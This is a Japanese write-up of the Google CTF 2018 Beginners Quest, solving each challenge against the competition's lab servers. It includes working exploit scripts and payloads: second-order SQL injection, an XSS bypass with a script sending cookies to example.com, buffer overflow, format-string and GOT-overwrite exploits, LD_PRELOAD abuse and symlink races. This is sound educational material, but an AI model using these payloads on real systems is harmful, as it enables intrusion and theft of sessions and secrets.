Google CTF 2018 write-up (Beginners Quest)

- [Google Online Security Blog: Google CTF 2018 is here](https://security.googleblog.com/2018/05/google-ctf-2018-is-here.html)
- [Google CTF](https://capturetheflag.withgoogle.com/)

チームsuperflipは、初心者向け問題は全て解けたけれど、本編は2問だけ。279点で120位。

<a href="https://qiita-image-store.s3.amazonaws.com/0/25276/ab78bf34-f5df-124b-1b33-db66f355d920.png"><img src="https://qiita-image-store.s3.amazonaws.com/0/25276/ab78bf34-f5df-124b-1b33-db66f355d920.png" width="320"></a> <a href="https://qiita-image-store.s3.amazonaws.com/0/25276/7100a907-1ce1-f63c-e610-d95ac3ecee83.png"><img src="https://qiita-image-store.s3.amazonaws.com/0/25276/7100a907-1ce1-f63c-e610-d95ac3ecee83.png" width="320"></a> <a href="https://qiita-image-store.s3.amazonaws.com/0/25276/c97c39a4-5db1-c488-c3f0-6c3d1afc6115.png"><img src="https://qiita-image-store.s3.amazonaws.com/0/25276/c97c39a4-5db1-c488-c3f0-6c3d1afc6115.png" width="320"></a>

本編と初心者向けのBeginners Questが分かれていた。Beginners Questは解いても得点などは無し。初心者向けでも普通に難しい。後からREADMEを見たら、「ヒントが必要ならIRCにjoinしろ」と書かれていたので、ヒントもあったのかもしれない。

サーバーにログインする問題はDockerで接続ごとに別環境で動いていた。他の人に邪魔されずにすんで良い。今や、運営がHeadlessブラウザを動かしているXSSの問題も一般的か。

本編はこっち。
[Google CTF 2018 write\-up \(本編\) \- Qiita](https://qiita.com/kusano_k/items/6549766c6cad11ec442f)

# Beginners Quest

「色々ハックしてケーキを手に入れるぞ」というのが全体の流れ、線で繋がっているとおりに問題を解いていく。複数の問題から線が繋がっている問題は、そのうちのどれかを解けばその問題に挑戦できるようになる。

## LETTER (misc)

![image.png](https://qiita-image-store.s3.amazonaws.com/0/25276/8fee947c-a4b1-4442-7d31-fff8794592af.png)

黒塗りPDF。コピペ。

`CTF{ICanReadDis}`

## OCR IS COOL (misc)

URLのところの`VMY{vtxltkvbiaxkbltlnulmbmnmbhgvbiaxk}`を7文字シフトしたら答えが出てきた。

`CTF{caesarcipherisasubstitutioncipher}`

## SECURITY BY OBSCURITY (misc)

password.x.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.pというファイル。zipとか7zとかで圧縮されているので玉ねぎの皮を剥いていく。最後のzipはパスワードが掛かっているので、懐かしの[Pika Zip](https://www.vector.co.jp/soft/win95/util/se078535.html)に掛けた。パスワードは`asdf`。

`CTF{CompressionIsNotEncryption}`

## FIREMWARE (re)

ext4イメージ。なぜかFTK Imagerでは上手く取り出せなかった。仕方がないので、

```
# sudo mount -t ext4 -o loop,ro,noload  challenge2.ext4 /mnt/chal
```

でマウント。/.mediapc_backdoor_password.gzがある。

`CTF{I_kn0W_tH15_Fs}`

## GATEKEEPER (re)

ELF64バイナリ。適当に解析。パスワードは逆順になっている。

```
C:\documents\ctf\googlectf2018\beginner\gatekeeper>wsl ./gatekeeper
/===========================================================================\
|               Gatekeeper - Access your PC from everywhere!                |
+===========================================================================+
[ERROR] Login information missing
Usage: ./gatekeeper <username> <password>

C:\documents\ctf\googlectf2018\beginner\gatekeeper>wsl ./gatekeeper 0n3_W4rM hoge
/===========================================================================\
|               Gatekeeper - Access your PC from everywhere!                |
+===========================================================================+
 ~> Verifying.......ACCESS DENIED
 ~> Incorrect password

C:\documents\ctf\googlectf2018\beginner\gatekeeper>wsl ./gatekeeper 0n3_W4rM I_g0T_m4d_sk1lLz
/===========================================================================\
|               Gatekeeper - Access your PC from everywhere!                |
+===========================================================================+
 ~> Verifying.......Correct!
Welcome back!
CTF{I_g0T_m4d_sk1lLz}
```
`CTF{I_g0T_m4d_sk1lLz}`

## MEDIA-DB (misc)

セカンドオーダーSQLインジェクション。

```media-db.py
  elif choice == '3':
    my_print("song name?")
    song = raw_input().replace("'", "")
    print_playlist("SELECT artist, song FROM media WHERE song = '{}'".format(song))
  elif choice == '4':
    artist = random.choice(list(c.execute("SELECT DISTINCT artist FROM media")))[0]
    my_print("choosing songs from random artist: {}".format(artist))
    print_playlist("SELECT artist, song FROM media WHERE artist = '{}'".format(artist))
```

`choice == '3'`は`'`が消されていて、SQL Injectionできないので、まずはSQL Injectionするような文字列をDBに入れ、`choice == '4'`で発動させる。

```
C:\documents\ctf\googlectf2018\beginner\admin ui 2>wsl nc media-db.ctfcompetition.com 1337
=== Media DB ===
1) add song
2) play artist
3) play song
4) shuffle artist
5) exit
> 1
artist name?
' union all select oauth_token,0 from oauth_tokens --
song name?

1) add song
2) play artist
3) play song
4) shuffle artist
5) exit
> 4
choosing songs from random artist: ' union all select oauth_token,0 from oauth_tokens --

== new playlist ==
1: "0" by "CTF{fridge_cast_oauth_token_cahn4Quo}
"
```

`CTF{fridge_cast_oauth_token_cahn4Quo}`

## FLOPPY (misc)

foo.icoというファイルが問題。後ろにzipが付いている。

`CTF{qeY80sU6Ktko8BJW}`

## FLOPPY2 (misc)

↑の問題のzipに入っていたwww.comが気になると。www.comはURLとは関係が無く、[COM形式](https://ja.wikipedia.org/wiki/COM%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AB)の実行可能ファイル。32bitのWindowsならば今でも実行できるはずだけれど、そんなの持っていないぞ……。[FreeDOS](http://www.freedos.org/)で動かす。CDイメージを作ってファイルを持っていった。面倒。一見何も表示されないが裏に出ているらしい。リダイレクトして`type`で出てきた。

![image.png](https://qiita-image-store.s3.amazonaws.com/0/25276/27dc02f5-540d-45b6-518f-21cf0a6f2704.png)

`CTF{qeY80sU6Ktko8BJW}`

## JS SAFE (web)

JavaScriptでVMが実装されている。VMの各ステップで入出力を表示するようにしてみると、入力をSHA-256でハッシュ化して、`e66860546f18cdbbcd86b35e18b525bffc67f772c650cedfe3ff7a0026fa1dee`と一致してるか調べている。ググると元の文字列が出てくる。

`CTF{Passw0rd!}`

## ROUTER-UI (web)

「猫の写真があるぞ！」と言ってURLをメールで送ると開くから、それを使ってWintermutedさんのcookieを盗めという問題。実際には「猫の写真があるぞ！」の文言は要らなかった。

> I hope Chrome's XSS filter will not block the exploit though.

問題文のこの文言を見て、「初心者向けだし、XSSフィルタは無効かな？」と思っていたけど、有効だからちゃんと考えろという意味だったらしい。英語のニュアンス難しい。

初心者向けでXSSフィルター回避……。認証失敗のページでは、

```Wrong credentials: ididid//passpasspass```

このように出力される。

[Browser's XSS Filter Bypass Cheat Sheet · masatokinugawa/filterbypass Wiki](https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet)

を見ると、IDとパスワードの2箇所が埋め込まれるので、何とかなりそうなものだが上手く行かず。なぜIDとパスワードの区切りが`/`ではなく`//`なのだろうと考えて、

- ID: `<script src=`
- パスワード: `example.com/script.js`

が正解だった。

```index.html
<form method="post" action="https://router-ui.web.ctfcompetition.com/login">
  <input name="username" value="<script src=">
  <input type="password" name="password" value="example.com/script.js></script>">
  <button type="submit">hoge</button>
</form>
<script>document.forms[0].submit()</script>
```

を踏ませ、script.jsを読みこませる。script.jsでは普通にcookieを盗めば良い。

```script.js
document.location='http://example.com/hoge?'+document.cookie;
```

HTTPSからHTTPのスクリプトは読み込めないので、HTTPSで繋がるウェブサーバーを使ったけれど、問題のサイトはHTTPでも繋がるので、HTTPで何とかなったかもしれない。

```
xxx.xxx.xxx.xxx - - [24/Jun/2018 06:07:09] "GET /hoge?flag=Try%20the%20session%20cookie;%20session=Avaev8thDieM6Quauoh2TuDeaez9Weja HTTP/1.1" 404 -
```

このセッションをセットすると管理画面が覗けて、`<input type="password">`のところにフラグが書かれている。

`CTF{Kao4pheitot7Ahmu}`

## MESSAGE OF THE DAY (pwn)

スタックバッファオーバーフロー。`read_flag`という関数があるので、そこに飛ばせば良い。これは簡単。

```shell-session
$ python -c 'print "2\n"+"a"*264+"\xa5\x63\x60\x60\x00\x00\x00\x00"' | nc motd.ctfcompetition.com 1337
Choose functionality to test:
1 - Get user MOTD
2 - Set user MOTD
3 - Set admin MOTD (TODO)
4 - Get admin MOTD
5 - Exit
choice: Enter new message of the day
New msg: New message of the day saved!
Admin MOTD is: CTF{m07d_1s_r3t_2_r34d_fl4g}
```

`CTF{m07d_1s_r3t_2_r34d_fl4g}`

## POETRY (pwn)

SUIDされたプログラムが、`LD_BIND_NOW`が設定されていなければ、`LD_BIND_NOW`を設定して自分自身を`exeve`という動作をしている。シンボリックリンク経由で実行して、`exeve`する前に差し替えれば良い、という理屈だけれどなかなか面倒だった。

```getflag.c
#include <stdio.h>
#include <unistd.h>

int main()
{
    char buf[32];
    FILE *f;
    printf("geteuid(): %d\n", geteuid());
    f=fopen("/home/poetry/flag", "r");
    fread(buf, 1, 32, f);
    puts(buf);
    return 0;
}
```

これを実行させる。サーバーにgccが入っていないので、手元でコンパイルして圧縮してBase64して、`echo`で送るということをした。

```
cd /home/user
echo H4sICN...AA > getflag.gz.txt
base64 -d < getflag.gz.txt > getflag.gz
gunzip getflag.gz
chmod a+x getflag
for i in $(seq 1 100); do ln -f /home/poetry/poetry a; ./a & ln -f /home/user/getflag a; done
```

当然タイミングもシビアなので何回か繰り返すようにした。今試しても再現しないな……。HOLEY BEEPのように、シンボリックリンクの差し替えも別プログラムにしたほうが成功率が高そう。

`CTF{CV3-2009-1894}`

## MOAR (pwn)

`socat`のマニュアルが表示される。`less`なので、`!`でシェルコマンドが実行できる。

```
C:\documents\ctf\googlectf2018\beginner\moar>wsl nc moar.ctfcompetition.com 1337
socat(1)                                                              socat(1)

NAME
       socat - Multipurpose relay (SOcket CAT)

SYNOPSIS
       socat [options] <address> <address>
       socat -V
       socat -h[h[h]] | -?[?[?]]
       filan
       procan

DESCRIPTION
       Socat  is  a  command  line based utility that establishes two bidirec-
       tional byte streams  and  transfers  data  between  them.  Because  the
       streams  can be constructed from a large set of different types of data
       sinks and sources (see address types),  and  because  lots  of  address
       options  may be applied to the streams, socat can be used for many dif-
       ferent purposes.

       Filan is a utility  that  prints  information  about  its  active  file
       descriptors  to  stdout.  It  has been written for debugging socat, but
       might be useful for other purposes too. Use the -h option to find  more
 Manual page socat(1) line 1 (press h for help or q to quit)!id
!id
uid=1337(moar) gid=1337(moar) groups=1337(moar)
!done  (press RETURN)!ls -al /home/moar

!ls -al /home/moar
total 24
drwxr-xr-x 2 nobody nogroup 4096 Jun 22 08:36 .
drwxr-xr-x 3 nobody nogroup 4096 Jun 14 14:17 ..
-rw-r--r-- 1 nobody nogroup  220 Aug 31  2015 .bash_logout
-rw-r--r-- 1 nobody nogroup 3771 Aug 31  2015 .bashrc
-rw-r--r-- 1 nobody nogroup  655 May 16  2017 .profile
-r-xr-xr-x 1 nobody nogroup  118 Jun 22 07:58 disable_dmz.sh
!done  (press RETURN)!/home/moar/disable_dmz.sh

!/home/moar/disable_dmz.sh
Disabling DMZ using password CTF{SOmething-CATastr0phic}
/home/moar/disable_dmz.sh: 3: /home/moar/disable_dmz.sh: cannot create /dev/dmz: Read-only file system
!done  (press RETURN)!cat /home/moar/disable_dmz.sh

!cat /home/moar/disable_dmz.sh
#!/bin/sh
echo 'Disabling DMZ using password CTF{SOmething-CATastr0phic}'
echo CTF{SOmething-CATastr0phic} > /dev/dmz
!done  (press RETURN)
```

`CTF{SOmething-CATastr0phic}`

## ADMIN UI (pwn-re)

```
C:\documents\ctf\googlectf2018\beginner\admin ui>wsl nc mngmnt-iface.ctfcompetition.com 1337
=== Management Interface ===
 1) Service access
 2) Read EULA/patch notes
 3) Quit
1
Please enter the backdoo^Wservice password:
hogehoge
Incorrect, the authorities have been informed!

C:\documents\ctf\googlectf2018\beginner\admin ui>wsl nc mngmnt-iface.ctfcompetition.com 1337
=== Management Interface ===
 1) Service access
 2) Read EULA/patch notes
 3) Quit
2
The following patchnotes were found:
 - Version0.3
 - Version0.2
Which patchnotes should be shown?
Version0.3
# Version 0.3
 - Rollback of version 0.2 because of random reasons
 - Blah Blah
 - Fix random reboots at 2:32 every second Friday when it's new-moon.
```

こんな感じ。Version0.3などはファイル名でディレクトリトラバーサルの脆弱性があって、`../../../etc/passwd`を覗いたりできる。が、ここからが難しい。ユーザー名は分かるけれど、このプログラムがどのように動いているのかなどが分からない。

`../../../proc/self/cmdline`で`./main`というファイル名を取得し、`../../../home/user/main`でプログラムを入手して解析、`../flag`というファイルがあることが分かる、という流れだった。

```
The following patchnotes were found:
 - Version0.3
 - Version0.2
Which patchnotes should be shown?
../flag
CTF{I_luv_buggy_sOFtware}=== Management Interface ===
```

問題ジャンルに「re」が付いているから想定解法なのだろうけれど、まずは`../flag`を試してみるべきだったかもしれない。

`CTF{I_luv_buggy_sOFtware}`

## ADMIN UI 2 (pwn-re)

↑のパスワードでログインすると、2段階認証（？）が要求されるので、プログラムを解析。パスワードは`0xc7`でxorしてから比較するようになっている。

```
=== Management Interface ===
 1) Service access
 2) Read EULA/patch notes
 3) Quit
1
Please enter the backdoo^Wservice password:
CTF{I_luv_buggy_sOFtware}
! Two factor authentication required !
Please enter secret secondary password:
CTF{Two_PasSworDz_Better_th4n_1_k?}
Authenticated
>
```

`CTF{Two_PasSworDz_Better_th4n_1_k?}`

## ADMIN UI 3 (pwn-re)

ログインするとコマンドが実行できるようになる。`shell`というコマンドがあるけれど、`shell_enabled`という変数が`1`でなければ弾かれる。`echo`で[書式文字列攻撃](https://ja.wikipedia.org/wiki/%E6%9B%B8%E5%BC%8F%E6%96%87%E5%AD%97%E5%88%97%E6%94%BB%E6%92%83)が可能。

```
=== Management Interface ===
 1) Service access
 2) Read EULA/patch notes
 3) Quit
1
Please enter the backdoo^Wservice password:
CTF{I_luv_buggy_sOFtware}
! Two factor authentication required !
Please enter secret secondary password:
CTF{Two_PasSworDz_Better_th4n_1_k?}
Authenticated
> shell
Security made us disable the shell, sorry!
> echo %x
41414ac3
```

この変数の値を`1`に書き換えれば良い。

```attack.py
import socket
import time
import telnetlib

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("mngmnt-iface.ctfcompetition.com", 1337))

time.sleep(1)
print s.recv(1000)

s.send("1\n")
time.sleep(1)
print s.recv(1000)

s.send("CTF{I_luv_buggy_sOFtware}\n")
time.sleep(1)
print s.recv(1000)

s.send("CTF{Two_PasSworDz_Better_th4n_1_k?}\n")
time.sleep(1)
print s.recv(1000)

attack = "echo  %40$n     \x38\x61\x61\x41\x00\x00\x00\x00\n"
s.send(attack)

t = telnetlib.Telnet()
t.sock = s
t.interact()
```

```
C:\documents\ctf\googlectf2018\beginner\admin ui 3>attack.py
=== Management Interface ===
 1) Service access
 2) Read EULA/patch notes
 3) Quit

Please enter the backdoo^Wservice password:

! Two factor authentication required !
Please enter secret secondary password:

Authenticated
>
      8aaA
> shell
ls -al
total 144
drwxr-xr-x 3 user   user      4096 Jun 18 08:25 .
drwxr-xr-x 3 nobody nogroup   4096 May 25 13:19 ..
-rw-r--r-- 1 user   user       220 Aug 31  2015 .bash_logout
-rw-r--r-- 1 user   user      3771 Aug 31  2015 .bashrc
-rw-r--r-- 1 user   user       655 May 16  2017 .profile
-rw-r--r-- 1 nobody nogroup     26 May 24 15:03 an0th3r_fl44444g_yo
-rw-r--r-- 1 nobody nogroup     25 Jun 18 08:25 flag
-rwxr-xr-x 1 nobody nogroup 111128 Jun 18 08:25 main
drwxr-xr-x 2 nobody nogroup   4096 Jun 18 08:25 patchnotes
cat an0th3r_fl44444g_yo
CTF{c0d3ExEc?W411_pL4y3d}
exit
> quit
Bye!
```

`CTF{c0d3ExEc?W411_pL4y3d}`

## FILTER ENV (pwn)

こちらが指定した環境変数を設定した状態で、`execvp`を使って`/usr/bin/id`を実行するプログラム。ただし、危険な環境変数は`setenv`で空文字列にされる。プログラムのバグなのか、3個以上の環境変数を設定するとクラッシュする。

`LD_PRELOAD`を2回設定したら通った。`LD_PRELOAD`で指定したライブラリは起動時に読みこまれる。`getenv`と`setenv`は同じ環境変数が複数回定義されているとき、最初のもののみを取得と設定するらしい。`LD_PRELOAD`ことなるライブラリで複数指定されたときに全部が読みこまれると便利だから、`getenv`を使わずに処理されるのだろうか？

```getflag.c
#include <stdio.h>

__attribute__((constructor)) void flag()
{
    char buf[32];
    FILE *f = fopen("/home/adminimum/flag", "r");
    fread(buf, 1, 32, f);
    puts(buf);
}
```

を、

```
gcc -shared getflag.c -o getflag.so
```

でコンパイルして、POETRYと同じように送り込む。このときは、printfで複数回に分けていた。

```
$ nc env.ctfcompetition.com 1337
printf '\x1F\x8B\x08...\x74' > /tmp/getflag.so.gz
printf '\x4A\xDE\x06...\xB7' >> /tmp/getflag.so.gz
printf '\xF4\x84\x7F...\xFB' >> /tmp/getflag.so.gz
printf '\x84\xB0\x5A...\x00' >> /tmp/getflag.so.gz
gunzip /tmp/getflag.so.gz

/home/adminimum/filterenv
[*] waiting for new environment
LD_PRELOAD=/tmp/getflag.so
LD_PRELOAD=/tmp/getflag.so

CTF{H3ll0-Kingc0p3}
uid=1338(adminimum) gid=1337(user) groups=1337(user)
```

## FRIDGE TODO LIST (pwn)

こんなプログラム。

```
$ ./todo
███████╗███╗   ███╗ █████╗ ██████╗ ████████╗    ███████╗██████╗ ██╗██████╗  ██████╗ ███████╗    ██████╗  ██████╗  ██████╗  ██████╗
██╔════╝████╗ ████║██╔══██╗██╔══██╗╚══██╔══╝    ██╔════╝██╔══██╗██║██╔══██╗██╔════╝ ██╔════╝    ╚════██╗██╔═████╗██╔═████╗██╔═████╗
███████╗██╔████╔██║███████║██████╔╝   ██║       █████╗  ██████╔╝██║██║  ██║██║  ███╗█████╗       █████╔╝██║██╔██║██║██╔██║██║██╔██║
╚════██║██║╚██╔╝██║██╔══██║██╔══██╗   ██║       ██╔══╝  ██╔══██╗██║██║  ██║██║   ██║██╔══╝      ██╔═══╝ ████╔╝██║████╔╝██║████╔╝██║
███████║██║ ╚═╝ ██║██║  ██║██║  ██║   ██║       ██║     ██║  ██║██║██████╔╝╚██████╔╝███████╗    ███████╗╚██████╔╝╚██████╔╝╚██████╔╝
╚══════╝╚═╝     ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝   ╚═╝       ╚═╝     ╚═╝  ╚═╝╚═╝╚═════╝  ╚═════╝ ╚══════╝    ╚══════╝ ╚═════╝  ╚═════╝  ╚═════╝

 █████╗ ██████╗ ██╗   ██╗ █████╗ ███╗   ██╗ ██████╗███████╗██████╗     ████████╗ ██████╗ ██████╗  ██████╗     ██╗     ██╗███████╗████████╗
██╔══██╗██╔══██╗██║   ██║██╔══██╗████╗  ██║██╔════╝██╔════╝██╔══██╗    ╚══██╔══╝██╔═══██╗██╔══██╗██╔═══██╗    ██║     ██║██╔════╝╚══██╔══╝
███████║██║  ██║██║   ██║███████║██╔██╗ ██║██║     █████╗  ██║  ██║       ██║   ██║   ██║██║  ██║██║   ██║    ██║     ██║███████╗   ██║
██╔══██║██║  ██║╚██╗ ██╔╝██╔══██║██║╚██╗██║██║     ██╔══╝  ██║  ██║       ██║   ██║   ██║██║  ██║██║   ██║    ██║     ██║╚════██║   ██║
██║  ██║██████╔╝ ╚████╔╝ ██║  ██║██║ ╚████║╚██████╗███████╗██████╔╝       ██║   ╚██████╔╝██████╔╝╚██████╔╝    ███████╗██║███████║   ██║
╚═╝  ╚═╝╚═════╝   ╚═══╝  ╚═╝  ╚═╝╚═╝  ╚═══╝ ╚═════╝╚══════╝╚═════╝        ╚═╝    ╚═════╝ ╚═════╝  ╚═════╝     ╚══════╝╚═╝╚══════╝   ╚═╝
user: hogehoge

Hi hogehoge, what would you like to do?
1) Print TODO list
2) Print TODO entry
3) Store TODO entry
4) Delete TODO entry
5) Remote administration
6) Exit
> 3

In which slot would you like to store the new entry? 1
What's your TODO? todo

Hi hogehoge, what would you like to do?
1) Print TODO list
2) Print TODO entry
3) Store TODO entry
4) Delete TODO entry
5) Remote administration
6) Exit
> 1

+=====+=================================================================+
|   1 | todo                                                            |
+=====+=================================================================+

Hi hogehoge, what would you like to do?
1) Print TODO list
2) Print TODO entry
3) Store TODO entry
4) Delete TODO entry
5) Remote administration
6) Exit
> 2

Which entry would you like to read? 1000
Sorry but this model only supports 128 TODO list entries.
Please upgrade to the Smart Fridge 3001 for increased capacity.
```

一件入力した項目番号はしっかりとチェックされているようで、負値かどうかのチェックが抜けている。つまり、変数`todos`より前の領域（オーバーフローで後ろもいけるかも）は、項目のサイズ（48バイト）単位で、ある程度自由に読み書きできる。書き込みは、`fgets`なので`\n`の前まで、読み込みは`puts`なので`\0`の前まで。

プログラム自身のアドレスもPIEでランダム化されているので、まずはプログラムのアドレスを知る必要がある。0x120バイト前に`.got.plt`の`write`がある。`write`は終了時に初めて呼び出されるので、読み出すと`.plt`のアドレスが分かる。`atoi`を読んだら`system`が実行されるようにして、`/bin/sh`を入力すればシェルが取れる。

```attack.py
from socket import *
from struct import *
from time import *
from telnetlib import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(("fridge-todo-list.ctfcompetition.com", 1337))
#s.connect(("localhost", 13370))

def recv(e):
    r = ""
    while True:
        r += s.recv(1)
        if r.endswith(e):
            break
    return r

print recv(": ")
s.send("kusano\n")

print recv("> ")
s.send("2\n")
print recv("? ")
s.send("-6\n")
t = recv("> ")
print repr(t)
t = t.split("\n")[0].split(" ")[-1]
t = t + "\0"*(8-len(t))
write = unpack("<Q", t)[0]
print "write: %x" % write

s.send("3\n")
print recv("? ")
s.send("-4\n")
print recv("? ")
s.send("a"*8+pack("<Q", write-0x0916+0x0940)[:6]+"\n")

t = Telnet()
t.sock = s
t.interact()
```

```
$ python attack.py
███████╗███╗   ███╗ █████╗ ██████╗ ████████╗    ███████╗██████╗ ██╗██████╗  ██████╗ ███████╗    ██████╗  ██████╗  ██████╗  ██████╗
██╔════╝████╗ ████║██╔══██╗██╔══██╗╚══██╔══╝    ██╔════╝██╔══██╗██║██╔══██╗██╔════╝ ██╔════╝    ╚════██╗██╔═████╗██╔═████╗██╔═████╗
███████╗██╔████╔██║███████║██████╔╝   ██║       █████╗  ██████╔╝██║██║  ██║██║  ███╗█████╗       █████╔╝██║██╔██║██║██╔██║██║██╔██║
╚════██║██║╚██╔╝██║██╔══██║██╔══██╗   ██║       ██╔══╝  ██╔══██╗██║██║  ██║██║   ██║██╔══╝      ██╔═══╝ ████╔╝██║████╔╝██║████╔╝██║
███████║██║ ╚═╝ ██║██║  ██║██║  ██║   ██║       ██║     ██║  ██║██║██████╔╝╚██████╔╝███████╗    ███████╗╚██████╔╝╚██████╔╝╚██████╔╝
╚══════╝╚═╝     ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝   ╚═╝       ╚═╝     ╚═╝  ╚═╝╚═╝╚═════╝  ╚═════╝ ╚══════╝    ╚══════╝ ╚═════╝  ╚═════╝  ╚═════╝
                                                                                                                          
 █████╗ ██████╗ ██╗   ██╗ █████╗ ███╗   ██╗ ██████╗███████╗██████╗     ████████╗ ██████╗ ██████╗  ██████╗     ██╗     ██╗███████╗████████╗
██╔══██╗██╔══██╗██║   ██║██╔══██╗████╗  ██║██╔════╝██╔════╝██╔══██╗    ╚══██╔══╝██╔═══██╗██╔══██╗██╔═══██╗    ██║     ██║██╔════╝╚══██╔══╝
███████║██║  ██║██║   ██║███████║██╔██╗ ██║██║     █████╗  ██║  ██║       ██║   ██║   ██║██║  ██║██║   ██║    ██║     ██║███████╗   ██║
██╔══██║██║  ██║╚██╗ ██╔╝██╔══██║██║╚██╗██║██║     ██╔══╝  ██║  ██║       ██║   ██║   ██║██║  ██║██║   ██║    ██║     ██║╚════██║   ██║
██║  ██║██████╔╝ ╚████╔╝ ██║  ██║██║ ╚████║╚██████╗███████╗██████╔╝       ██║   ╚██████╔╝██████╔╝╚██████╔╝    ███████╗██║███████║   ██║
╚═╝  ╚═╝╚═════╝   ╚═══╝  ╚═╝  ╚═╝╚═╝  ╚═══╝ ╚═════╝╚══════╝╚═════╝        ╚═╝    ╚═════╝ ╚═════╝  ╚═════╝     ╚══════╝╚═╝╚══════╝   ╚═╝
user:

Hi kusano, what would you like to do?
1) Print TODO list
2) Print TODO entry
3) Store TODO entry
4) Delete TODO entry
5) Remote administration
6) Exit
>

Which entry would you like to read?
'Your TODO: \x16\t\xd7\xa4\x9dU\n\nHi kusano, what would you like to do?\n1) Print TODO list\n2) Print TODO entry\n3) Store TODO entry\n4) Delete TODO entry\n5) Remote administration\n6) Exit\n> '
write: 559da4d70916

In which slot would you like to store the new entry?
What's your TODO?

Hi kusano, what would you like to do?
1) Print TODO list
2) Print TODO entry
3) Store TODO entry
4) Delete TODO entry
5) Remote administration
6) Exit
> /bin/sh
id
uid=1337(user) gid=1337(user) groups=1337(user)
ls
holey_beep
todo
todos
ls todos
CountZero
kusano
cat CountZero
cat: CountZero: No such file or directory
cat todos/CountZero
Watch Hackers (again)Figure out why the fridge keeps beepingcheck check /home/user/holey_beepdebug the fridge - toilet connectivityfollow sec advice: CTF{goo.gl/cjHknW}/4513753
```

フラグはどこにあるんだ？と探したけれど、todosの中にあった。ファイル名さえ分かれば、`CountZero`という名前でログインしてリストを見ても良い。

```
$ nc fridge-todo-list.ctfcompetition.com 1337
：
user: CountZero
+=====+=================================================================+
|   0 | Watch Hackers (again)                                           |
|   1 | Figure out why the fridge keeps beeping                         |
|   2 | check /home/user/holey_beep                                     |
|   3 | debug the fridge - toilet connectivity                          |
|   4 | follow sec advice: CTF{goo.gl/cjHknW}                           |
+=====+=================================================================+
```

`CTF{goo.gl/cjHknW}`

## HOLEY BEEP (pwn)

↑でシェルを取ったマシンのroot shellを手に入れろという問題。実際は`/secret_cake_recipe`を読むだけで良い。

`holey_beep`というプログラムがある。このプログラムは`dev/console`を開いて`ioctl`で音を鳴らそうとしている。途中で終了シグナルを受け取るときに`ioctl`に失敗すると、ファイルの中身を読み出す。`/dev/console`ではないところがミソ。シンボリックリンクで`dev/console`を差し替えて、終了シグナルを送るだけなのだが、開いた直後に`ioctl`を実行しようとして失敗すると（正常）終了してしまう。開いた直後にファイルを差し替えて終了シグナルを送る必要がある。POETRY以上にタイミングがシビア。

[Holey Beep \(CVE\-2018\-0492\)](https://holeybeep.ninja/)

悩んでいたら元ネタがあった。[このコード](https://gist.github.com/fkt/5f8f9560ef54e11ff7df8bec09dc8f9a)を参考に、指定した時間経過後にシグナルを送るプログラムを書いた。

```attack.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>

char zero[100001];

int main(int argc, char **argv)
{
    int i;
    int pid;

    for (i=0; i<100000; i++)
        zero[i] = '0';
    zero[100000] = '\0';
    
    pid = fork();
    if (pid == 0)
    {
        char *args[] = {"/home/user/holey_beep", zero, NULL};
        execv(args[0], args);
    }
    else
    {
        usleep(atoi(argv[1]));
        kill(pid, SIGTERM);
    }
}
```

ファイルを開いてから`ioctl`を送るまでの時間が少しでも稼げた方が良いかと思い、引数に長い`000000...00`を指定している。待つ時間が短すぎれば何もしないで終了、長ければ`ioctl`のエラーが出るので探索。

```
cd /tmp
mkdir dev
ln -s /secret_cake_recipe dev/console
echo H4sICM...AA > attack.gz.txt
base64 -d < attack.gz.txt > attack.gz
gunzip attack.gz
chmod a+x attack
./attack 1000
ioctl(4, KIOCSOUND, 0) failed../attack2000
sh: 9: ./attack2000: not found
./attack 2000
ioctl(4, KIOCSOUND, 0) failed.
./attack 3000
ioctl(4, KIOCSOUND, 0) failed.
./attack 500

./attack 600
ioctl(4, KIOCSOUND, 0) failed.debug_data: "== Secret recipe for the CTF{the_cake_wasnt_a_lie} cake ==
```

`CTF{the_cake_wasnt_a_lie}`